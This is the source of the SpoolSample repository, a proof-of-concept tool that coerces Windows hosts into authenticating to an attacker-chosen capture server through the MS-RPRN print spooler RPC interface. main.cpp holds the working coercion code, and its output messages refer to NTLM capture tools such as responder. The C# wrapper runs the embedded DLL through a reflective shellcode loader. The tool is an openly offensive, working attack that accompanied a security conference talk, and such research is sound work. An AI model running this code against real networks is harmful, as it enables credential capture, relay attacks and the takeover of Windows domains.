├── SpoolSample ├── App.config ├── SpoolSample.csproj.user ├── SpoolSample.cs ├── Properties │ └── AssemblyInfo.cs ├── SpoolSample.csproj └── RDIShellcodeLoader.cs ├── MS-RPRN ├── stdafx.cpp ├── targetver.h ├── stdafx.h ├── MS-RPRN.vcxproj.user ├── MS-RPRN.vcxproj.filters ├── ms-rprn.idl ├── main.cpp ├── ms-rprn_h.h ├── MS-RPRN.vcxproj └── ms-rprn_s.c ├── README.md ├── .gitignore ├── LICENSE ├── MS-RPRN.sln └── Out-CSharpDataClass.ps1 /SpoolSample/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /MS-RPRN/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // MS-RPRN.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /MS-RPRN/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /MS-RPRN/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | 9 | 10 | #include "targetver.h" 11 | 12 | #include 13 | #include 14 | 15 | 16 | 17 | // TODO: reference additional headers your program requires here 18 | -------------------------------------------------------------------------------- /SpoolSample/SpoolSample.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Program 7 | C:\Users\lee\Documents\Visual Studio 2017\Projects\MS-RPRN-midltest\SpoolSample\bin\Release\SpoolSample_v4.0_x64.exe 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SpoolSample 2 | PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. This is possible via other protocols as well. 3 | 4 | This tool is released as is. Don't expect any support or extensions to it. 5 | 6 | Presentation: The Unintended Risks of Trusting Active Directory @ DerbyCon 2018 7 | - https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory 8 | - @tifkin_ (Lee Christensen), @harmj0y(Will Schroeder), @enigma0x3(Matt Nelson) 9 | 10 | MS-RPRN - Print System Remote Protocol 11 | - https://msdn.microsoft.com/en-us/library/cc244528.aspx 12 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /SpoolSample/SpoolSample.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using RDI; 4 | 5 | namespace SpoolSample 6 | { 7 | class SpoolSample 8 | { 9 | // FYI, there might be reliability issues with this. The MS-RPRN project is more reliable 10 | static void Main(string[] args) 11 | { 12 | if (args.Length != 2) 13 | { 14 | Console.WriteLine("Invalid number of args. Syntax: SpoolSample.exe TARGET CAPTURESERVER"); 15 | return; 16 | } 17 | 18 | byte[] commandBytes = Encoding.Unicode.GetBytes($"\\\\{args[0]} \\\\{args[1]}"); 19 | 20 | RDILoader.CallExportedFunction(Data.RprnDll, "DoStuff", commandBytes); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /MS-RPRN/MS-RPRN.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | \\DESKTOP-8VASC5G \\192.168.230.130 5 | WindowsLocalDebugger 6 | 7 | 8 | \\DESKTOP-8VASC5G \\192.168.230.130 9 | WindowsLocalDebugger 10 | 11 | 12 | \\DESKTOP-8VASC5G \\192.168.230.130 13 | WindowsLocalDebugger 14 | 15 | 16 | 17 | 18 | WindowsLocalDebugger 19 | 20 | -------------------------------------------------------------------------------- /SpoolSample/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SpoolSample")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SpoolSample")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("640c36b4-f417-4d85-b031-83a9d23c140b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Lee Christensen 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /MS-RPRN/MS-RPRN.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | 43 | 44 | Source Files 45 | 46 | 47 | -------------------------------------------------------------------------------- /MS-RPRN.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.6 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MS-RPRN", "MS-RPRN\MS-RPRN.vcxproj", "{B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SpoolSample", "SpoolSample\SpoolSample.csproj", "{640C36B4-F417-4D85-B031-83A9D23C140B}" 9 | ProjectSection(ProjectDependencies) = postProject 10 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5} = {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5} 11 | EndProjectSection 12 | EndProject 13 | Global 14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 15 | Debug|x64 = Debug|x64 16 | Debug|x86 = Debug|x86 17 | Release|x64 = Release|x64 18 | Release|x86 = Release|x86 19 | EndGlobalSection 20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 21 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x64.ActiveCfg = Debug|x64 22 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x64.Build.0 = Debug|x64 23 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x86.ActiveCfg = Debug|Win32 24 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x86.Build.0 = Debug|Win32 25 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x64.ActiveCfg = Release|x64 26 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x64.Build.0 = Release|x64 27 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x86.ActiveCfg = Release|Win32 28 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x86.Build.0 = Release|Win32 29 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Debug|x64.ActiveCfg = Debug|x64 30 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Debug|x64.Build.0 = Debug|x64 31 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Debug|x86.ActiveCfg = Debug|x64 32 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Release|x64.ActiveCfg = Release|x64 33 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Release|x64.Build.0 = Release|x64 34 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Release|x86.ActiveCfg = Release|x64 35 | EndGlobalSection 36 | GlobalSection(SolutionProperties) = preSolution 37 | HideSolutionNode = FALSE 38 | EndGlobalSection 39 | GlobalSection(ExtensibilityGlobals) = postSolution 40 | SolutionGuid = {50DACAAE-1FE6-4357-ADB2-872BD5AA3EDA} 41 | EndGlobalSection 42 | EndGlobal 43 | -------------------------------------------------------------------------------- /Out-CSharpDataClass.ps1: -------------------------------------------------------------------------------- 1 | param( 2 | [Parameter(Position=0, Mandatory=$true)] 3 | $Target, 4 | 5 | [Parameter(Position=1, Mandatory=$true)] 6 | $SolutionDir 7 | ) 8 | 9 | function Get-ContentBytesAndXor { 10 | [CmdletBinding()] 11 | Param( 12 | [Parameter(Position=0, Mandatory=$true)] 13 | [string] 14 | $Path, 15 | 16 | [Parameter(Position=1, Mandatory=$false)] 17 | [int] 18 | $XorKey = 0 19 | ) 20 | 21 | Write-Verbose "XorKey: $XorKey" 22 | if(Test-Path -Path $Path -ErrorAction Stop -PathType Leaf) { 23 | $Fullname = (Get-ChildItem $Path).FullName 24 | 25 | if($XorKey -ne 0) { 26 | Write-Verbose "Using XorKey" 27 | foreach($Byte in ([System.IO.File]::ReadAllBytes($Fullname))) { 28 | $Byte -bxor $XorKey 29 | } 30 | } else { 31 | [System.IO.File]::ReadAllBytes($FullName) 32 | } 33 | } 34 | } 35 | 36 | function ConvertTo-CSharpDataClass { 37 | [CmdletBinding()] 38 | Param( 39 | [Parameter(Position=0, Mandatory=$true)] 40 | [byte[]] 41 | $ByteArray, 42 | 43 | [Parameter(Position=1, Mandatory=$false)] 44 | [int] 45 | $Columns = 20, 46 | 47 | [Parameter(Position=2, Mandatory=$false)] 48 | [string] 49 | $Namespace = 'Test', 50 | 51 | [Parameter(Position=3, Mandatory=$false)] 52 | [string] 53 | $Class = 'Data', 54 | 55 | [Parameter(Position=4, Mandatory=$false)] 56 | [string] 57 | $Variable = 'Data' 58 | ) 59 | 60 | 61 | $sb = New-Object System.Text.StringBuilder 62 | 63 | $null = $sb.Append(@" 64 | namespace SpoolSample 65 | { 66 | static class Data 67 | { 68 | public static byte[] $($Variable) = new byte[] { 69 | "@) 70 | 71 | for($i = 0; $i -lt $ByteArray.Count; $i++) { 72 | if(($i % $Columns) -eq 0) { 73 | $null = $sb.Append("`n ") 74 | } 75 | $null = $sb.Append("0x{0:X2}," -f $ByteArray[$i]) 76 | } 77 | 78 | $null = $sb.Remove($sb.Length-1, 1) #Remove the last comman 79 | $null = $sb.AppendLine(@" 80 | `n }; 81 | } 82 | } 83 | "@) 84 | 85 | $sb.ToString() 86 | } 87 | 88 | 89 | # For whatever reason, VS keeps including a double quote in the pathst 90 | $SolutionDir = $SolutionDir.Replace('"','') 91 | 92 | $bytes = Get-ContentBytesAndXor -Path $Target 93 | ConvertTo-CSharpDataClass -Namespace 'SpoolSample' -Class 'Data' -Variable 'RprnDll' -ByteArray $bytes | Out-File -Encoding ascii -FilePath "$($SolutionDir)\SpoolSample\Data.cs" -------------------------------------------------------------------------------- /SpoolSample/SpoolSample.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {640C36B4-F417-4D85-B031-83A9D23C140B} 8 | Exe 9 | SpoolSample 10 | SpoolSample 11 | v4.5 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | true 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | full 22 | AnyCPU 23 | prompt 24 | MinimumRecommendedRules.ruleset 25 | false 26 | true 27 | 28 | 29 | bin\Release\ 30 | TRACE 31 | true 32 | true 33 | 0 34 | x64 35 | prompt 36 | MinimumRecommendedRules.ruleset 37 | false 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | cmd /c copy "$(TargetPath)" "$(TargetDir)\$(AssemblyName)_$(TargetFrameworkVersion)_$(Platform).$(TargetExt)" 59 | 60 | -------------------------------------------------------------------------------- /MS-RPRN/ms-rprn.idl: -------------------------------------------------------------------------------- 1 | // [MS-RPRN] interface 2 | [ 3 | uuid(12345678-1234-ABCD-EF00-0123456789AB), 4 | version(1.0), 5 | ms_union, 6 | endpoint("ncacn_np:[\\pipe\\spoolss]"), 7 | pointer_default(unique) 8 | ] 9 | 10 | interface winspool { 11 | //import "ms-dtyp.idl"; 12 | import "oaidl.idl"; 13 | //import "ocidl.idl"; 14 | #if __midl < 700 15 | #define disable_consistency_check 16 | #endif 17 | // [MS-RPRN] common info container structures 18 | typedef struct _DEVMODE_CONTAINER { 19 | DWORD cbBuf; 20 | [size_is(cbBuf), unique] BYTE* pDevMode; 21 | } DEVMODE_CONTAINER; 22 | 23 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE { 24 | unsigned short Type; 25 | unsigned short Reserved0; 26 | DWORD Reserved1; 27 | DWORD Reserved2; 28 | DWORD Count; 29 | [size_is(Count), unique] unsigned short* pFields; 30 | } RPC_V2_NOTIFY_OPTIONS_TYPE; 31 | 32 | typedef struct _RPC_V2_NOTIFY_OPTIONS { 33 | DWORD Version; 34 | DWORD Reserved; 35 | DWORD Count; 36 | [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes; 37 | } RPC_V2_NOTIFY_OPTIONS; 38 | 39 | // [MS-RPRN] common data types 40 | typedef unsigned short LANGID; 41 | typedef [context_handle] void* GDI_HANDLE; 42 | typedef [context_handle] void* PRINTER_HANDLE; 43 | typedef [handle] wchar_t* STRING_HANDLE; 44 | 45 | // [MS-RPRN] methods 46 | DWORD RpcEnumPrinters(); 47 | DWORD RpcOpenPrinter( 48 | [in, string, unique] STRING_HANDLE pPrinterName, 49 | [out] PRINTER_HANDLE* pHandle, 50 | [in, string, unique] wchar_t* pDatatype, 51 | [in] DEVMODE_CONTAINER* pDevModeContainer, 52 | [in] DWORD AccessRequired 53 | ); 54 | DWORD RpcSetJob(); 55 | DWORD RpcGetJob(); 56 | DWORD RpcEnumJobs(); 57 | DWORD RpcAddPrinter(); 58 | DWORD RpcDeletePrinter(); 59 | DWORD RpcSetPrinter(); 60 | DWORD RpcGetPrinter(); 61 | DWORD RpcAddPrinterDriver(); 62 | DWORD RpcEnumPrinterDrivers(); 63 | DWORD RpcGetPrinterDriver(); 64 | DWORD RpcGetPrinterDriverDirectory(); 65 | DWORD RpcDeletePrinterDriver(); 66 | DWORD RpcAddPrintProcessor(); 67 | DWORD RpcEnumPrintProcessors(); 68 | DWORD RpcGetPrintProcessorDirectory(); 69 | DWORD RpcStartDocPrinter(); 70 | DWORD RpcStartPagePrinter(); 71 | DWORD RpcWritePrinter(); 72 | DWORD RpcEndPagePrinter(); 73 | DWORD RpcAbortPrinter(); 74 | DWORD RpcReadPrinter(); 75 | DWORD RpcEndDocPrinter(); 76 | DWORD RpcAddJob(); 77 | DWORD RpcScheduleJob(); 78 | DWORD RpcGetPrinterData(); 79 | DWORD RpcSetPrinterData(); 80 | DWORD RpcWaitForPrinterChange(); 81 | DWORD RpcClosePrinter( 82 | [in, out] PRINTER_HANDLE*phPrinter 83 | ); 84 | DWORD RpcAddForm(); 85 | DWORD RpcDeleteForm(); 86 | DWORD RpcGetForm(); 87 | DWORD RpcSetForm(); 88 | DWORD RpcEnumForms(); 89 | DWORD RpcEnumPorts(); 90 | DWORD RpcEnumMonitors(); 91 | void Opnum37NotUsedOnWire(); 92 | void Opnum38NotUsedOnWire(); 93 | DWORD RpcDeletePort(); 94 | DWORD RpcCreatePrinterIC(); 95 | DWORD RpcPlayGdiScriptOnPrinterIC(); 96 | DWORD RpcDeletePrinterIC(); 97 | void Opnum43NotUsedOnWire(); 98 | void Opnum44NotUsedOnWire(); 99 | void Opnum45NotUsedOnWire(); 100 | DWORD RpcAddMonitor(); 101 | DWORD RpcDeleteMonitor(); 102 | DWORD RpcDeletePrintProcessor(); 103 | void Opnum49NotUsedOnWire(); 104 | void Opnum50NotUsedOnWire(); 105 | DWORD RpcEnumPrintProcessorDatatypes(); 106 | DWORD RpcResetPrinter(); 107 | DWORD RpcGetPrinterDriver2(); 108 | void Opnum54NotUsedOnWire(); 109 | void Opnum55NotUsedOnWire(); 110 | DWORD RpcFindClosePrinterChangeNotification(); 111 | void Opnum57NotUsedOnWire(); 112 | DWORD RpcReplyOpenPrinter(); 113 | DWORD RpcRouterReplyPrinter(); 114 | DWORD RpcReplyClosePrinter(); 115 | DWORD RpcAddPortEx(); 116 | DWORD RpcRemoteFindFirstPrinterChangeNotification(); 117 | void Opnum63NotUsedOnWire(); 118 | void Opnum64NotUsedOnWire(); 119 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 120 | [in] PRINTER_HANDLE hPrinter, 121 | [in] DWORD fdwFlags, 122 | [in] DWORD fdwOptions, 123 | [in, string, unique] wchar_t* pszLocalMachine, 124 | [in] DWORD dwPrinterLocal, 125 | [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions 126 | ); 127 | 128 | } -------------------------------------------------------------------------------- /MS-RPRN/main.cpp: -------------------------------------------------------------------------------- 1 | // MS-RPRN.cpp : Defines the entry point for the console application. 2 | // 3 | // Compiled interface definition(.idl file) with "midl.exe /target NT60 ms-rprn.idl" 4 | #include "stdafx.h" 5 | #include "ms-rprn_h.h" 6 | 7 | #include 8 | 9 | #define DLLEXPORT extern "C" __declspec(dllexport) 10 | 11 | const RPC_WSTR MS_RPRN_UUID = (RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB"; 12 | const RPC_WSTR InterfaceAddress = (RPC_WSTR)L"\\pipe\\spoolss"; 13 | 14 | //Returns the last Win32 error, in string format. Returns an empty string if there is no error. 15 | void PrintWin32Error(DWORD dwError) 16 | { 17 | LPWSTR messageBuffer = nullptr; 18 | size_t size = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 19 | NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&messageBuffer, 0, NULL); 20 | 21 | wprintf(L"Error Code %d - %s\n", dwError, messageBuffer); 22 | //Free the buffer. 23 | LocalFree(messageBuffer); 24 | } 25 | 26 | void __RPC_FAR * __RPC_USER midl_user_allocate(size_t cBytes) 27 | { 28 | return((void __RPC_FAR *) malloc(cBytes)); 29 | } 30 | 31 | void __RPC_USER midl_user_free(void __RPC_FAR * p) 32 | { 33 | free(p); 34 | } 35 | 36 | // Taken from https://github.com/Paolo-Maffei/OpenNT/blob/master/printscan/print/spooler/spoolss/win32/bind.c#L65 37 | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr) 38 | { 39 | RPC_STATUS RpcStatus; 40 | RPC_WSTR StringBinding; 41 | handle_t BindingHandle; 42 | WCHAR ServerName[MAX_PATH + 1]; 43 | DWORD i; 44 | 45 | if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') { 46 | // We have a servername 47 | ServerName[0] = ServerName[1] = '\\'; 48 | 49 | i = 2; 50 | while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) { 51 | ServerName[i] = lpStr[i]; 52 | i++; 53 | } 54 | 55 | ServerName[i] = 0; 56 | } 57 | else { 58 | return FALSE; 59 | } 60 | 61 | RpcStatus = RpcStringBindingComposeW( 62 | MS_RPRN_UUID, 63 | (RPC_WSTR)L"ncacn_np", 64 | (RPC_WSTR)ServerName, 65 | InterfaceAddress, 66 | NULL, 67 | &StringBinding); 68 | 69 | if (RpcStatus != RPC_S_OK) { 70 | return(0); 71 | } 72 | 73 | RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle); 74 | 75 | RpcStringFreeW(&StringBinding); 76 | 77 | if (RpcStatus != RPC_S_OK) { 78 | return(0); 79 | } 80 | 81 | return(BindingHandle); 82 | } 83 | 84 | void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle) 85 | { 86 | RPC_STATUS RpcStatus; 87 | 88 | RpcStatus = RpcBindingFree(&BindingHandle); 89 | assert(RpcStatus != RPC_S_INVALID_BINDING); 90 | 91 | return; 92 | } 93 | 94 | 95 | HRESULT Send(wchar_t* targetServer, wchar_t* captureServer) 96 | { 97 | PRINTER_HANDLE hPrinter = NULL; 98 | HRESULT hr = NULL; 99 | DEVMODE_CONTAINER devmodeContainer; 100 | SecureZeroMemory((char *)&(devmodeContainer), sizeof(DEVMODE_CONTAINER)); 101 | 102 | RpcTryExcept 103 | { 104 | hr = RpcOpenPrinter(targetServer, &hPrinter, NULL, &devmodeContainer, 0); 105 | 106 | if (hr == ERROR_SUCCESS) { 107 | hr = RpcRemoteFindFirstPrinterChangeNotificationEx( 108 | hPrinter, 109 | 0x00000100 /* PRINTER_CHANGE_ADD_JOB */, 110 | 0, 111 | captureServer, 112 | 0, 113 | NULL); 114 | 115 | if (hr != ERROR_SUCCESS) { 116 | if (hr == ERROR_ACCESS_DENIED) { 117 | wprintf(L"Target server attempted authentication and got an access denied. If coercing authentication to an NTLM challenge-response capture tool(e.g. responder/inveigh/MSF SMB capture), this is expected and indicates the coerced authentication worked.\n"); 118 | } 119 | else if (hr == ERROR_INVALID_HANDLE) { 120 | wprintf(L"Attempted printer notification and received an invalid handle. The coerced authentication probably worked!\n"); 121 | } 122 | else { 123 | wprintf(L"RpcRemoteFindFirstPrinterChangeNotificationEx failed."); 124 | PrintWin32Error(hr); 125 | } 126 | } 127 | 128 | RpcClosePrinter(&hPrinter); 129 | } 130 | else 131 | { 132 | wprintf(L"RpcOpenPrinter failed %d\n", hr); 133 | } 134 | } 135 | RpcExcept(EXCEPTION_EXECUTE_HANDLER); 136 | { 137 | hr = RpcExceptionCode(); 138 | wprintf(L"RPC Exception %d. ", hr); 139 | PrintWin32Error(hr); 140 | } 141 | RpcEndExcept; 142 | 143 | return hr; 144 | } 145 | 146 | int wmain(int argc, wchar_t **argv) 147 | { 148 | if (argc != 3) 149 | { 150 | wprintf(L"Usage: ms-rprn.exe \\\\targetserver \\\\CaptureServer\n"); 151 | return 0; 152 | } 153 | 154 | Send(argv[1], argv[2]); 155 | 156 | return 0; 157 | } 158 | 159 | BOOL APIENTRY DllMain(HMODULE hModule, 160 | DWORD ul_reason_for_call, 161 | LPVOID lpReserved 162 | ) 163 | { 164 | switch (ul_reason_for_call) 165 | { 166 | case DLL_PROCESS_ATTACH: 167 | case DLL_THREAD_ATTACH: 168 | case DLL_THREAD_DETACH: 169 | case DLL_PROCESS_DETACH: 170 | break; 171 | } 172 | return TRUE; 173 | } 174 | 175 | DLLEXPORT HRESULT DoStuff(LPVOID lpUserdata, DWORD nUserdataLen) 176 | { 177 | if (nUserdataLen) { 178 | int numArgs = 0; 179 | LPWSTR* args = NULL; 180 | 181 | args = CommandLineToArgvW((LPCWSTR)lpUserdata, &numArgs); 182 | if (numArgs == 2) { 183 | wprintf(L"TargetServer: %s, CaptureServer: %s\n", args[0], args[1]); 184 | Send(args[0], args[1]); 185 | } 186 | else { 187 | wprintf(L"Invalid number of args\n"); 188 | } 189 | } 190 | 191 | return 0; 192 | } 193 | -------------------------------------------------------------------------------- /MS-RPRN/ms-rprn_h.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */ 4 | 5 | 6 | /* File created by MIDL compiler version 8.01.0622 */ 7 | /* at Mon Jan 18 22:14:07 2038 8 | */ 9 | /* Compiler settings for ms-rprn.idl: 10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 11 | protocol : all , ms_ext, c_ext, robust 12 | error checks: allocation ref bounds_check enum stub_data 13 | VC __declspec() decoration level: 14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable) 15 | DECLSPEC_UUID(), MIDL_INTERFACE() 16 | */ 17 | /* @@MIDL_FILE_HEADING( ) */ 18 | 19 | 20 | 21 | /* verify that the version is high enough to compile this file*/ 22 | #ifndef __REQUIRED_RPCNDR_H_VERSION__ 23 | #define __REQUIRED_RPCNDR_H_VERSION__ 500 24 | #endif 25 | 26 | #include "rpc.h" 27 | #include "rpcndr.h" 28 | 29 | #ifndef __RPCNDR_H_VERSION__ 30 | #error this stub requires an updated version of 31 | #endif /* __RPCNDR_H_VERSION__ */ 32 | 33 | 34 | #ifndef __ms2Drprn_h_h__ 35 | #define __ms2Drprn_h_h__ 36 | 37 | #if defined(_MSC_VER) && (_MSC_VER >= 1020) 38 | #pragma once 39 | #endif 40 | 41 | /* Forward Declarations */ 42 | 43 | /* header files for imported files */ 44 | #include "oaidl.h" 45 | 46 | #ifdef __cplusplus 47 | extern "C"{ 48 | #endif 49 | 50 | 51 | #ifndef __winspool_INTERFACE_DEFINED__ 52 | #define __winspool_INTERFACE_DEFINED__ 53 | 54 | /* interface winspool */ 55 | /* [unique][endpoint][ms_union][version][uuid] */ 56 | 57 | typedef struct _DEVMODE_CONTAINER 58 | { 59 | DWORD cbBuf; 60 | /* [unique][size_is] */ BYTE *pDevMode; 61 | } DEVMODE_CONTAINER; 62 | 63 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE 64 | { 65 | unsigned short Type; 66 | unsigned short Reserved0; 67 | DWORD Reserved1; 68 | DWORD Reserved2; 69 | DWORD Count; 70 | /* [unique][size_is] */ unsigned short *pFields; 71 | } RPC_V2_NOTIFY_OPTIONS_TYPE; 72 | 73 | typedef struct _RPC_V2_NOTIFY_OPTIONS 74 | { 75 | DWORD Version; 76 | DWORD Reserved; 77 | DWORD Count; 78 | /* [unique][size_is] */ RPC_V2_NOTIFY_OPTIONS_TYPE *pTypes; 79 | } RPC_V2_NOTIFY_OPTIONS; 80 | 81 | typedef unsigned short LANGID; 82 | 83 | typedef /* [context_handle] */ void *GDI_HANDLE; 84 | 85 | typedef /* [context_handle] */ void *PRINTER_HANDLE; 86 | 87 | typedef /* [handle] */ wchar_t *STRING_HANDLE; 88 | 89 | DWORD RpcEnumPrinters( 